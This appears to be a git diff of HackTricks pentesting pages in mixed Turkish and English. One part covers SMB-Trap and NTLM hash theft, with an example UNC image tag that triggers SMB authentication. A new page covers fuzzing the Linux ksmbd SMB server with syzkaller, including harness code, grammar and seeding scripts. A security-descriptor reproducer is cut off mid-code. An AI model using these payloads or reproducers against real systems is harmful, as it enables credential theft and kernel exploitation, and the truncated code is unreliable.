here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap -Windows kütüphanesi URLMon.dll, bir sayfa SMB üzerinden bazı içeriklere erişmeye çalıştığında otomatik olarak ana bilgisayara kimlik doğrulaması yapmaya çalışır, örneğin: `img src="\\10.10.10.10\path\image.jpg"` +Windows kütüphanesi URLMon.dll, bir sayfa SMB üzerinden bazı içeriklere erişmeye çalıştığında otomatik olarak sunucuya kimlik doğrulaması yapmaya çalışır, örneğin: `img src="\\10.10.10.10\path\image.jpg"` -Bu, aşağıdaki işlevlerle gerçekleşir: +This happens with the functions: - URLDownloadToFile - URLDownloadToCache - URLOpenStream - URLOpenBlockingStream -Bu işlevler bazı tarayıcılar ve araçlar (Skype gibi) tarafından kullanılır. +Bunlar bazı tarayıcılar ve araçlar (like Skype) tarafından kullanılır -![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) +![Kaynak: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) ### SMBTrap using MitMf -![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) +![Kaynak: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) ## NTLM Theft -SMB Trapping'e benzer şekilde, hedef sisteme kötü niyetli dosyalar yerleştirmek (örneğin SMB üzerinden) bir SMB kimlik doğrulama denemesi başlatabilir ve NetNTLMv2 hash'inin Responder gibi bir araçla yakalanmasına olanak tanır. Hash daha sonra çevrimdışı olarak kırılabilir veya bir [SMB relay attack](#smb-relay-attack) içinde kullanılabilir. +Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an [SMB relay attack](#smb-relay-attack). [See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md new file mode 100644 index 000000000..058ae355d --- /dev/null +++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -0,0 +1,219 @@ +# ksmbd Attack Surface & SMB2/SMB3 Protocol Fuzzing (syzkaller) + +{{#include ../../banners/hacktricks-training.md}} + +## Overview +Bu sayfa, syzkaller kullanarak Linux çekirdek içi SMB sunucusu (ksmbd) için uygulanabilir ve fuzz tekniklerini soyutlar. Yapılandırma yoluyla protokol saldırı yüzeyini genişletmeye, SMB2 işlemlerini zincirleyebilen durumlu bir harness oluşturmaya, dilbilgisel olarak geçerli PDU'lar üretmeye, mutasyonları zayıf kapsanan kod yollarına yönlendirmeye ve syzkaller özelliklerinden (focus_areas ve ANYBLOB gibi) yararlanmaya odaklanır. Orijinal araştırma belirli CVE'leri sıralasa da, burada yeniden kullanılabilir metodoloji ve kendi kurulumlarınıza uyarlayabileceğiniz somut kesitleri vurguluyoruz. + +Hedef kapsam: SMB2/SMB3 over TCP. Harness'i basit tutmak için Kerberos ve RDMA kasıtlı olarak kapsam dışıdır. + +--- + +## Expand ksmbd Attack Surface via Configuration +Varsayılan olarak, minimal bir ksmbd kurulum server'ın büyük bölümlerini test edilmemiş bırakır. Sunucuyu ek ayrıştırıcılar/işleyiciler üzerinden çalıştırmak ve daha derin kod yollarına ulaşmak için aşağıdaki özellikleri etkinleştirin: + +- Global düzey +- Durable handles +- Server multi-channel +- SMB2 leases +- Paylaşım bazlı (Per-share-level) +- Oplocks (varsayılan olarak açık) +- VFS objects + +Bunları etkinleştirmek, şu modüllerde daha fazla yürütme sağlar: +- smb2pdu.c (command parsing/dispatch) +- ndr.c (NDR encode/decode) +- oplock.c (oplock request/break) +- smbacl.c (ACL parsing/enforcement) +- vfs.c (VFS ops) +- vfs_cache.c (lookup cache) + +Notlar +- Tam seçenekler dağıtımınızın ksmbd userspace'ine (ksmbd-tools) bağlıdır. Durable handles, leases, oplocks ve VFS object'leri etkinleştirmek için /etc/ksmbd/ksmbd.conf ve paylaşıma özel bölümleri inceleyin. +- Multi-channel ve durable handles, durum makinelerini ve ömürleri değiştirir; çoğunlukla eşzamanlılık altında UAF/refcount/OOB hatalarını su yüzüne çıkarırlar. + +--- + +## Authentication and Rate-Limiting Adjustments for Fuzzing +SMB3 geçerli bir session gerektirir. Harness'lerde Kerberos uygulamak karmaşıktır, bu yüzden fuzz için NTLM/guest tercih edin: + +- Guest erişimine izin verin ve map to guest = bad user olarak ayarlayın ki bilinmeyen kullanıcılar GUEST'e düşsün. +- NTLMv2'yi kabul edin (devre dışıysa policy'yi patch'leyin). Bu, el sıkışmayı basit tutarken SMB3 kod yollarını çalıştırır. +- Deneyler sırasında sıkı credit kontrollerini patch'leyin (CVE-2024-50285 için yapılan sertleştirme aynı anda-op crediting'i daha sıkı hale getirmişti). Aksi halde rate-limitler fuzzed dizileri çok erken reddedebilir. +- Yüksek verimli fuzzing sırasında erken reddeleri önlemek için max connections sayısını (ör. 65536) arttırın. + +Uyarı: Bu gevşetmeler sadece fuzz için uygulanmalıdır. Bu ayarlarla production'a deploy etmeyin. + +--- + +## Stateful Harness: Extract Resources and Chain Requests +SMB stateful'dır: birçok istek önceki cevaplar tarafından döndürülen tanımlayıcılara (SessionId, TreeID, FileID çiftleri) bağlıdır. Harness'iniz, cevapları parse etmeli ve aynı program içinde ID'leri yeniden kullanarak derin işleyicilere ulaşmalıdır (ör. smb2_create → smb2_ioctl → smb2_close). + +Örnek, bir response buffer'ı işlemek (ilk +4B NetBIOS PDU length atlanarak) ve ID'leri cache'lemek için bir snippet: +```c +// process response. does not contain +4B PDU length +void process_buffer(int msg_no, const char *buffer, size_t received) { +uint16_t cmd_rsp = u16((const uint8_t *)(buffer + CMD_OFFSET)); +switch (cmd_rsp) { +case SMB2_TREE_CONNECT: +if (received >= TREE_ID_OFFSET + sizeof(uint32_t)) +tree_id = u32((const uint8_t *)(buffer + TREE_ID_OFFSET)); +break; +case SMB2_SESS_SETUP: +// first session setup response carries session_id +if (msg_no == 0x01 && received >= SESSION_ID_OFFSET + sizeof(uint64_t)) +session_id = u64((const uint8_t *)(buffer + SESSION_ID_OFFSET)); +break; +case SMB2_CREATE: +if (received >= CREATE_VFID_OFFSET + sizeof(uint64_t)) { +persistent_file_id = u64((const uint8_t *)(buffer + CREATE_PFID_OFFSET)); +volatile_file_id = u64((const uint8_t *)(buffer + CREATE_VFID_OFFSET)); +} +break; +default: +break; +} +} +``` +İpuçları +- Tek bir fuzzer sürecinin kimlik doğrulama/durumu paylaşmasını sağlayın: ksmbd’s global/session tables ile daha iyi stabilite ve kapsama elde edilir. syzkaller hâlâ ops'ları async olarak işaretleyerek concurrency enjekte eder; dahili olarak yeniden çalıştırır. +- Syzkaller’s experimental reset_acc_state global state'i sıfırlayabilir ancak ciddi yavaşlamaya neden olabilir. Stabiliteyi tercih edin ve fuzzing'e odaklanın. + +--- + +## Gramer-Tabanlı SMB2 Üretimi (Geçerli PDUs) +Microsoft Open Specifications içindeki SMB2 yapılarını bir fuzzer grammar'ına çevirin, böylece generator'ünüz yapısal olarak geçerli PDUs üretir ve bu PDUs sistematik olarak dispatchers ve IOCTL handlers'a ulaşır. + +Örnek (SMB2 IOCTL request): +``` +smb2_ioctl_req { +Header_Prefix SMB2Header_Prefix +Command const[0xb, int16] +Header_Suffix SMB2Header_Suffix +StructureSize const[57, int16] +Reserved const[0, int16] +CtlCode union_control_codes +PersistentFileId const[0x4, int64] +VolatileFileId const[0x0, int64] +InputOffset offsetof[Input, int32] +InputCount bytesize[Input, int32] +MaxInputResponse const[65536, int32] +OutputOffset offsetof[Output, int32] +OutputCount len[Output, int32] +MaxOutputResponse const[65536, int32] +Flags int32[0:1] +Reserved2 const[0, int32] +Input array[int8] +Output array[int8] +} [packed] +``` +Bu stil, yapı boyutları/ofsetlerinin doğru olmasını zorlar ve kör mutasyona kıyasla kapsamı önemli ölçüde iyileştirir. + +--- + +## Directed Fuzzing With focus_areas +syzkaller’s deneysel focus_areas özelliğini, halihazırda zayıf kapsama sahip belirli fonksiyonlar/dosyalar için ağırlık vermek üzere kullanın. Örnek JSON: +```json +{ +"focus_areas": [ +{"filter": {"functions": ["smb_check_perm_dacl"]}, "weight": 20.0}, +{"filter": {"files": ["^fs/smb/server/"]}, "weight": 2.0}, +{"weight": 1.0} +] +} +``` +Bu, smbacl.c içindeki arithmetic/overflow yollarına ulaşan geçerli ACLs'leri oluşturmaya yardımcı olur. Örneğin, aşırı büyük bir dacloffset içeren kötü niyetli bir Security Descriptor bir integer-overflow'u yeniden üretir. + +Reproducer oluşturucu (minimal Python): +```python +def build_sd(): +import struct +sd = bytearray(0x14) +sd[0x00] = 0x00; sd[0x01] = 0x00 +struct.pack_into(' packets.json +``` + +```python +import json, os +os.makedirs("corpus", exist_ok=True) + +with open("packets.json") as f: +data = json.load(f) +# adjust indexing to your tshark JSON structure +packets = [e["_source"]["layers"]["tcp.payload"] for e in data] + +for i, pkt in enumerate(packets): +pdu = pkt[0] +pdu_size = len(pdu) // 2 # hex string length → bytes +with open(f"corpus/packet_{i:03d}.txt", "w") as f: +f.write( +f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)" +) +``` +This jump-starts exploration and can immediately trigger UAFs (e.g., in ksmbd_sessions_deregister) while lifting coverage a few percent. + +--- + +## Sanitizers: Beyond KASAN +- KASAN, heap hataları (UAF/OOB) için birincil tespit aracı olmaya devam eder. +- KCSAN genellikle bu hedefte false positives veya düşük şiddetli data races üretir. +- UBSAN/KUBSAN, array-index semantiği nedeniyle KASAN'ın kaçırdığı declared-bounds hatalarını yakalayabilir. Örnek: +```c +id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]); +struct smb_sid { +__u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS]; +__le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */ +} __attribute__((packed)); +``` +Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught by UBSAN’s declared-bounds checks. + +--- + +## Bant Genişliği ve Paralellik Notları +- Tek bir fuzzer process (shared auth/state), ksmbd için önemli ölçüde daha kararlı olma eğilimindedir ve syzkaller’ın dahili async executor’u sayesinde yine de races/UAFs’i ortaya çıkarır. +- Birden fazla VM ile toplamda hâlâ saniyede yüzlerce SMB komutu işleyebilirsiniz. Fonksiyon seviyesinde coverage olarak fs/smb/server’ın ~%60’ı ve smb2pdu.c’nin ~%70’i civarı ulaşılabilir; ancak state-transition kapsamı bu tür metriklerle yeterince temsil edilmez. + +--- + +## Pratik Kontrol Listesi +- ksmbd’de durable handles, leases, multi-channel, oplocks ve VFS objects’i etkinleştirin. +- guest ve map-to-guest’e izin verin; NTLMv2’yi kabul edin. credit limits’i patch’leyin ve fuzzer stabilitesi için max connections’ı artırın. +- SessionId/TreeID/FileIDs’i cache’leyen ve create → ioctl → close zinciri kuran stateful bir harness inşa edin. +- Yapısal geçerliliği korumak için SMB2 PDUs için bir grammar kullanın. +- Zayıf kapsanan fonksiyonları overweight etmek için focus_areas kullanın (ör. smbacl.c yolları, smb_check_perm_dacl gibi). +- Plateau’ları kırmak için gerçek pcaps’ten ANYBLOB ile seedleyin; seed’leri tekrar kullanım için syz-db ile paketleyin. +- KASAN + UBSAN ile çalıştırın; UBSAN declared-bounds raporlarını dikkatle triage edin. + +--- + +## Referanslar +- Doyensec – ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html +- syzkaller: https://github.com/google/syzkaller +- ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4 +- Async executor değişikliği (commit fd8caa5): https://github.com/google/syzkaller/commit/fd8caa5 +- syz-db: https://github.com/google/syzkaller/tree/master/tools/syz-db +- KASAN: https://docs.kernel.org/dev-tools/kasan.html +- UBSAN/KUBSAN: https://docs.kernel.org/dev-tools/ubsan.html +- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html +- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/ +- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures +- Arka plan okumaları: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes + +{{#include ../../banners/hacktricks-training.md}}